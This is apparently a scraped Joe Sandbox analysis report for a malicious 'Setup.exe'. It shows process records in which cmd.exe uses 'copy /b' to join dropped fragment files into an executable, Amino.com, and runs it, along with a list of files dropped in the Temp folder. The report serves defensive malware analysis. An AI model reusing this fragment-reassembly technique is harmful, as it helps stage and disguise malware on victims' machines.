Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 335031\Amino.com + Scanner + Tri + Submission + Aging + Digital + Collection + Cleveland + Taiwan + Receives + Nd + Investors + Detection 335031\Amino.com
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:25:13
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Thumbnail.msi + ..\Prize.msi + ..\Mile.msi + ..\Clark.msi + ..\Using.msi + ..\Horizontal.msi + ..\Sum.msi + ..\France.msi T
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:25:13
Start date:	13/04/2025
Path:	C:\Users\user\AppData\Local\Temp\335031\Amino.com
Wow64 process (32bit):	true
Commandline:	Amino.com T
Imagebase:	0x610000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:25:13
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x6b0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\335031\Amino.com

C:\Users\user\AppData\Local\Temp\335031\T

C:\Users\user\AppData\Local\Temp\Aging

C:\Users\user\AppData\Local\Temp\Appreciated.msi

C:\Users\user\AppData\Local\Temp\Clark.msi

C:\Users\user\AppData\Local\Temp\Cleveland

C:\Users\user\AppData\Local\Temp\Collection

C:\Users\user\AppData\Local\Temp\Detection

C:\Users\user\AppData\Local\Temp\Digital

C:\Users\user\AppData\Local\Temp\France.msi

C:\Users\user\AppData\Local\Temp\Horizontal.msi

C:\Users\user\AppData\Local\Temp\Investors

C:\Users\user\AppData\Local\Temp\Mile.msi

C:\Users\user\AppData\Local\Temp\Nd

C:\Users\user\AppData\Local\Temp\Prize.msi

Windows Analysis Report
Setup.exe